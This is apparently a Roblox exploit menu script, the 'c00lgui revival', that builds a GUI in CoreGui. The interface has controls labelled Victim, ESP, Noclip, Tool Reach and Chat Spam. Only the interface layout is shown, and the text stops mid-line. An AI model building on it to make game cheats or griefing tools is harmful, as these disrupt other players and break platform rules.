-- Instances: 311 | Scripts: 114 | Modules: 0 | Tags: 0 local G2L = {}; -- StarterGui.CoolGui G2L["1"] = Instance.new("ScreenGui", game.CoreGui); G2L["1"]["Name"] = [[CoolGui]]; G2L["1"]["ZIndexBehavior"] = Enum.ZIndexBehavior.Sibling; G2L["1"]["ResetOnSpawn"] = false; -- StarterGui.CoolGui.Frame G2L["2"] = Instance.new("Frame", G2L["1"]); G2L["2"]["Active"] = true; G2L["2"]["ZIndex"] = 2; G2L["2"]["BorderSizePixel"] = 3; G2L["2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2"]["Size"] = UDim2.new(0, 300, 0, 400); G2L["2"]["Position"] = UDim2.new(0, 3, 0.3, 0); G2L["2"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); -- StarterGui.CoolGui.Frame.Title G2L["3"] = Instance.new("TextLabel", G2L["2"]); G2L["3"]["ZIndex"] = 2; G2L["3"]["BorderSizePixel"] = 3; G2L["3"]["TextSize"] = 24; G2L["3"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["3"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["3"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["3"]["Size"] = UDim2.new(1, 0, 0, 40); G2L["3"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["3"]["Text"] = [[c00lgui revival by Hyperion]]; G2L["3"]["Name"] = [[Title]]; -- StarterGui.CoolGui.Frame.left G2L["4"] = Instance.new("TextButton", G2L["2"]); G2L["4"]["BorderSizePixel"] = 3; G2L["4"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["4"]["TextSize"] = 48; G2L["4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["4"]["ZIndex"] = 2; G2L["4"]["Size"] = UDim2.new(0.5, 0, 0, 40); G2L["4"]["Name"] = [[left]]; G2L["4"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["4"]["Text"] = [[<]]; G2L["4"]["Position"] = UDim2.new(0, 0, 0, 40); -- StarterGui.CoolGui.Frame.left.LocalScript G2L["5"] = Instance.new("LocalScript", G2L["4"]); -- StarterGui.CoolGui.Frame.right G2L["6"] = Instance.new("TextButton", G2L["2"]); G2L["6"]["BorderSizePixel"] = 3; G2L["6"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["6"]["TextSize"] = 48; G2L["6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["6"]["ZIndex"] = 2; G2L["6"]["Size"] = UDim2.new(0.5, 0, 0, 40); G2L["6"]["Name"] = [[right]]; G2L["6"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["6"]["Text"] = [[>]]; G2L["6"]["Position"] = UDim2.new(0.5, 0, 0, 40); -- StarterGui.CoolGui.Frame.right.LocalScript G2L["7"] = Instance.new("LocalScript", G2L["6"]); -- StarterGui.CoolGui.Frame.Settings G2L["8"] = Instance.new("Frame", G2L["2"]); G2L["8"]["Active"] = true; G2L["8"]["BorderSizePixel"] = 3; G2L["8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["8"]["Size"] = UDim2.new(0, 300, 0, 400); G2L["8"]["Position"] = UDim2.new(1, 3, 0, 0); G2L["8"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["8"]["Name"] = [[Settings]]; -- StarterGui.CoolGui.Frame.Settings.SettingsTitle G2L["9"] = Instance.new("TextLabel", G2L["8"]); G2L["9"]["BorderSizePixel"] = 3; G2L["9"]["TextSize"] = 24; G2L["9"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["9"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["9"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["9"]["Size"] = UDim2.new(1, 0, 0, 40); G2L["9"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["9"]["Text"] = [[Settings]]; G2L["9"]["Name"] = [[SettingsTitle]]; -- StarterGui.CoolGui.Frame.Settings.SettingsButton G2L["a"] = Instance.new("TextButton", G2L["8"]); G2L["a"]["BorderSizePixel"] = 3; G2L["a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["a"]["TextSize"] = 48; G2L["a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["a"]["Size"] = UDim2.new(0, 27, 1, 0); G2L["a"]["Name"] = [[SettingsButton]]; G2L["a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["a"]["Text"] = [[<]]; G2L["a"]["Position"] = UDim2.new(1, 0, 0, 0); -- StarterGui.CoolGui.Frame.Settings.SettingsButton.SettingsCloseOpen G2L["b"] = Instance.new("LocalScript", G2L["a"]); G2L["b"]["Name"] = [[SettingsCloseOpen]]; -- StarterGui.CoolGui.Frame.Settings.addonr G2L["c"] = Instance.new("TextButton", G2L["8"]); G2L["c"]["BorderSizePixel"] = 3; G2L["c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["c"]["TextSize"] = 48; G2L["c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["c"]["ZIndex"] = 2; G2L["c"]["Size"] = UDim2.new(0.5, -1, 0, 40); G2L["c"]["Name"] = [[addonr]]; G2L["c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["c"]["Text"] = [[>]]; G2L["c"]["Position"] = UDim2.new(0.49333, 0, 0, 40); -- StarterGui.CoolGui.Frame.Settings.addonr.LocalScript G2L["d"] = Instance.new("LocalScript", G2L["c"]); -- StarterGui.CoolGui.Frame.Settings.addonl G2L["e"] = Instance.new("TextButton", G2L["8"]); G2L["e"]["BorderSizePixel"] = 3; G2L["e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["e"]["TextSize"] = 48; G2L["e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["e"]["Size"] = UDim2.new(0.5, 0, 0, 40); G2L["e"]["Name"] = [[addonl]]; G2L["e"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["e"]["Text"] = [[<]]; G2L["e"]["Position"] = UDim2.new(0, 0, 0, 40); -- StarterGui.CoolGui.Frame.Settings.addonl.LocalScript G2L["f"] = Instance.new("LocalScript", G2L["e"]); -- StarterGui.CoolGui.Frame.Settings.Save G2L["10"] = Instance.new("TextButton", G2L["8"]); G2L["10"]["BorderSizePixel"] = 3; G2L["10"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["10"]["TextSize"] = 18; G2L["10"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["10"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["10"]["ZIndex"] = 3; G2L["10"]["Size"] = UDim2.new(0, 150, 0, 20); G2L["10"]["Name"] = [[Save]]; G2L["10"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["10"]["Text"] = [[Save IDs]]; G2L["10"]["Position"] = UDim2.new(0, 0, 0.6, 140); -- StarterGui.CoolGui.Frame.Settings.Page G2L["11"] = Instance.new("Frame", G2L["8"]); G2L["11"]["ZIndex"] = 2; G2L["11"]["BorderSizePixel"] = 3; G2L["11"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["11"]["Size"] = UDim2.new(1, -3, 1, -106); G2L["11"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["11"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["11"]["Name"] = [[Page]]; -- StarterGui.CoolGui.Frame.Settings.Page.PageLabel G2L["12"] = Instance.new("TextLabel", G2L["11"]); G2L["12"]["ZIndex"] = 2; G2L["12"]["BorderSizePixel"] = 3; G2L["12"]["TextSize"] = 18; G2L["12"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["12"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["12"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["12"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["12"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["12"]["Text"] = [[Page 1]]; G2L["12"]["Name"] = [[PageLabel]]; G2L["12"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Settings.Page.Section2 G2L["13"] = Instance.new("Frame", G2L["11"]); G2L["13"]["Active"] = true; G2L["13"]["BorderSizePixel"] = 3; G2L["13"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["13"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["13"]["Position"] = UDim2.new(0.5, 0, 0, 0); G2L["13"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["13"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section2.vicid G2L["14"] = Instance.new("TextBox", G2L["13"]); G2L["14"]["Name"] = [[vicid]]; G2L["14"]["BorderSizePixel"] = 3; G2L["14"]["TextSize"] = 14; G2L["14"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["14"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["14"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["14"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["14"]["Position"] = UDim2.new(0, 0, 0, 33); G2L["14"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["14"]["Text"] = [[Roblox]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section2.mpid G2L["15"] = Instance.new("TextBox", G2L["13"]); G2L["15"]["Name"] = [[mpid]]; G2L["15"]["BorderSizePixel"] = 3; G2L["15"]["TextSize"] = 14; G2L["15"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["15"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["15"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["15"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["15"]["Position"] = UDim2.new(0, 0, 0, 99); G2L["15"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["15"]["Text"] = [[1]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section2.bgid G2L["16"] = Instance.new("TextBox", G2L["13"]); G2L["16"]["Name"] = [[bgid]]; G2L["16"]["BorderSizePixel"] = 3; G2L["16"]["TextSize"] = 14; G2L["16"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["16"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["16"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["16"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["16"]["Position"] = UDim2.new(0, 0, 0, 231); G2L["16"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["16"]["Text"] = [[c00lkidd]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label G2L["17"] = Instance.new("TextLabel", G2L["13"]); G2L["17"]["BorderSizePixel"] = 3; G2L["17"]["TextSize"] = 14; G2L["17"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["17"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["17"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["17"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["17"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["17"]["Text"] = [[Victim]]; G2L["17"]["Name"] = [[Label]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label G2L["18"] = Instance.new("TextLabel", G2L["13"]); G2L["18"]["BorderSizePixel"] = 3; G2L["18"]["TextSize"] = 14; G2L["18"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["18"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["18"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["18"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["18"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["18"]["Text"] = [[Music Pitch]]; G2L["18"]["Name"] = [[Label]]; G2L["18"]["Position"] = UDim2.new(0, 0, 0.22449, 0); -- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label G2L["19"] = Instance.new("TextLabel", G2L["13"]); G2L["19"]["BorderSizePixel"] = 3; G2L["19"]["TextSize"] = 14; G2L["19"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["19"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["19"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["19"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["19"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["19"]["Text"] = [[ESP]]; G2L["19"]["Name"] = [[Label]]; G2L["19"]["Position"] = UDim2.new(0, 0, 0.44898, 0); -- StarterGui.CoolGui.Frame.Settings.Page.Section2.Label G2L["1a"] = Instance.new("TextLabel", G2L["13"]); G2L["1a"]["BorderSizePixel"] = 3; G2L["1a"]["TextSize"] = 14; G2L["1a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1a"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1a"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["1a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["1a"]["Text"] = [[Billboard Gui Text]]; G2L["1a"]["Name"] = [[Label]]; G2L["1a"]["Position"] = UDim2.new(0, 0, 0.67347, 0); -- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut G2L["1b"] = Instance.new("TextButton", G2L["13"]); G2L["1b"]["BorderSizePixel"] = 3; G2L["1b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1b"]["TextSize"] = 14; G2L["1b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1b"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["1b"]["Name"] = [[espbut]]; G2L["1b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["1b"]["Text"] = [[Off]]; G2L["1b"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Settings.Page.Section2.espbut.LocalScript G2L["1c"] = Instance.new("LocalScript", G2L["1b"]); -- StarterGui.CoolGui.Frame.Settings.Page.Section1 G2L["1d"] = Instance.new("Frame", G2L["11"]); G2L["1d"]["Active"] = true; G2L["1d"]["BorderSizePixel"] = 3; G2L["1d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1d"]["Size"] = UDim2.new(0.5, -3, 1, 0); G2L["1d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["1d"]["Name"] = [[Section1]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label G2L["1e"] = Instance.new("TextLabel", G2L["1d"]); G2L["1e"]["BorderSizePixel"] = 3; G2L["1e"]["TextSize"] = 14; G2L["1e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["1e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1e"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["1e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["1e"]["Text"] = [[Skybox/Decal ID]]; G2L["1e"]["Name"] = [[Label]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section1.sdid G2L["1f"] = Instance.new("TextBox", G2L["1d"]); G2L["1f"]["Name"] = [[sdid]]; G2L["1f"]["BorderSizePixel"] = 3; G2L["1f"]["TextSize"] = 14; G2L["1f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["1f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["1f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["1f"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["1f"]["Position"] = UDim2.new(0, 0, 0, 33); G2L["1f"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["1f"]["Text"] = [[89243526849526]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section1.mid G2L["20"] = Instance.new("TextBox", G2L["1d"]); G2L["20"]["Name"] = [[mid]]; G2L["20"]["BorderSizePixel"] = 3; G2L["20"]["TextSize"] = 14; G2L["20"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["20"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["20"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["20"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["20"]["Position"] = UDim2.new(0, 0, 0, 99); G2L["20"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["20"]["Text"] = [[99986264226275]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label G2L["21"] = Instance.new("TextLabel", G2L["1d"]); G2L["21"]["BorderSizePixel"] = 3; G2L["21"]["TextSize"] = 14; G2L["21"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["21"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["21"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["21"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["21"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["21"]["Text"] = [[Music ID]]; G2L["21"]["Name"] = [[Label]]; G2L["21"]["Position"] = UDim2.new(0, 0, 0.22449, 0); -- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label G2L["22"] = Instance.new("TextLabel", G2L["1d"]); G2L["22"]["BorderSizePixel"] = 3; G2L["22"]["TextSize"] = 14; G2L["22"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["22"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["22"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["22"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["22"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["22"]["Text"] = [[Noclip]]; G2L["22"]["Name"] = [[Label]]; G2L["22"]["Position"] = UDim2.new(0, 0, 0.44898, 0); -- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut G2L["23"] = Instance.new("TextButton", G2L["1d"]); G2L["23"]["BorderSizePixel"] = 3; G2L["23"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["23"]["TextSize"] = 14; G2L["23"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["23"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["23"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["23"]["Name"] = [[noclipbut]]; G2L["23"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["23"]["Text"] = [[Off]]; G2L["23"]["Position"] = UDim2.new(0, 0, 0, 165); -- StarterGui.CoolGui.Frame.Settings.Page.Section1.noclipbut.LocalScript G2L["24"] = Instance.new("LocalScript", G2L["23"]); -- StarterGui.CoolGui.Frame.Settings.Page.Section1.reid G2L["25"] = Instance.new("TextBox", G2L["1d"]); G2L["25"]["Name"] = [[reid]]; G2L["25"]["BorderSizePixel"] = 3; G2L["25"]["TextSize"] = 14; G2L["25"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["25"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["25"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["25"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["25"]["Position"] = UDim2.new(0, 0, 0, 231); G2L["25"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["25"]["Text"] = [[9999]]; -- StarterGui.CoolGui.Frame.Settings.Page.Section1.Label G2L["26"] = Instance.new("TextLabel", G2L["1d"]); G2L["26"]["BorderSizePixel"] = 3; G2L["26"]["TextSize"] = 14; G2L["26"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["26"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["26"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["26"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["26"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["26"]["Text"] = [[Tool Reach]]; G2L["26"]["Name"] = [[Label]]; G2L["26"]["Position"] = UDim2.new(0, 0, 0.67347, 0); -- StarterGui.CoolGui.Frame.Settings.Load G2L["27"] = Instance.new("TextButton", G2L["8"]); G2L["27"]["BorderSizePixel"] = 3; G2L["27"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["27"]["TextSize"] = 18; G2L["27"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["27"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["27"]["ZIndex"] = 3; G2L["27"]["Size"] = UDim2.new(0, 147, 0, 20); G2L["27"]["Name"] = [[Load]]; G2L["27"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["27"]["Text"] = [[Load IDs]]; G2L["27"]["Position"] = UDim2.new(0.5, 0, 0.6, 140); -- StarterGui.CoolGui.Frame.Settings.Page2 G2L["28"] = Instance.new("Frame", G2L["8"]); G2L["28"]["Visible"] = false; G2L["28"]["ZIndex"] = 2; G2L["28"]["BorderSizePixel"] = 3; G2L["28"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["28"]["Size"] = UDim2.new(1, -3, 1, -106); G2L["28"]["Position"] = UDim2.new(0, 0, 0, 83); G2L["28"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["28"]["Name"] = [[Page2]]; -- StarterGui.CoolGui.Frame.Settings.Page2.PageLabel G2L["29"] = Instance.new("TextLabel", G2L["28"]); G2L["29"]["ZIndex"] = 3; G2L["29"]["BorderSizePixel"] = 3; G2L["29"]["TextSize"] = 18; G2L["29"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["29"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["29"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["29"]["Size"] = UDim2.new(1, 0, 0, 30); G2L["29"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["29"]["Text"] = [[Page 2]]; G2L["29"]["Name"] = [[PageLabel]]; G2L["29"]["Position"] = UDim2.new(0, 0, 1, -30); -- StarterGui.CoolGui.Frame.Settings.Page2.Section2 G2L["2a"] = Instance.new("Frame", G2L["28"]); G2L["2a"]["Active"] = true; G2L["2a"]["BorderSizePixel"] = 3; G2L["2a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2a"]["Size"] = UDim2.new(0.5, 0, 1, 0); G2L["2a"]["Position"] = UDim2.new(0.49333, 0, 0, 0); G2L["2a"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["2a"]["Name"] = [[Section2]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.nameid G2L["2b"] = Instance.new("TextBox", G2L["2a"]); G2L["2b"]["Name"] = [[nameid]]; G2L["2b"]["BorderSizePixel"] = 3; G2L["2b"]["TextSize"] = 14; G2L["2b"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2b"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2b"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2b"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["2b"]["Position"] = UDim2.new(0, 0, 0, 33); G2L["2b"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["2b"]["Text"] = [[God]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.spamid G2L["2c"] = Instance.new("TextBox", G2L["2a"]); G2L["2c"]["Name"] = [[spamid]]; G2L["2c"]["BorderSizePixel"] = 3; G2L["2c"]["TextSize"] = 14; G2L["2c"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2c"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["2c"]["Position"] = UDim2.new(0, 0, 0, 99); G2L["2c"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["2c"]["Text"] = [[join team c00lkidd!]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.jumpid G2L["2d"] = Instance.new("TextBox", G2L["2a"]); G2L["2d"]["Name"] = [[jumpid]]; G2L["2d"]["BorderSizePixel"] = 3; G2L["2d"]["TextSize"] = 14; G2L["2d"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2d"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2d"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal); G2L["2d"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["2d"]["Position"] = UDim2.new(0, 0, 0, 231); G2L["2d"]["BorderColor3"] = Color3.fromRGB(255, 0, 0); G2L["2d"]["Text"] = [[100]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label G2L["2e"] = Instance.new("TextLabel", G2L["2a"]); G2L["2e"]["BorderSizePixel"] = 3; G2L["2e"]["TextSize"] = 14; G2L["2e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["2e"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2e"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["2e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["2e"]["Text"] = [[Name]]; G2L["2e"]["Name"] = [[Label]]; -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label G2L["2f"] = Instance.new("TextLabel", G2L["2a"]); G2L["2f"]["BorderSizePixel"] = 3; G2L["2f"]["TextSize"] = 14; G2L["2f"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["2f"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["2f"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["2f"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["2f"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["2f"]["Text"] = [[Chat Spam Text]]; G2L["2f"]["Name"] = [[Label]]; G2L["2f"]["Position"] = UDim2.new(0, 0, 0.22449, 0); -- StarterGui.CoolGui.Frame.Settings.Page2.Section2.Label G2L["30"] = Instance.new("TextLabel", G2L["2a"]); G2L["30"]["BorderSizePixel"] = 3; G2L["30"]["TextSize"] = 14; G2L["30"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0); G2L["30"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal); G2L["30"]["TextColor3"] = Color3.fromRGB(255, 255, 255); G2L["30"]["Size"] = UDim2.new(1, 2, 0, 30); G2L["30"]["BorderColor3"] = Color3.fromRGB(255, 0, 5); G2L["30"]["Text"] = [[Gravity Amount]]; G2L["30"]["Name"] = 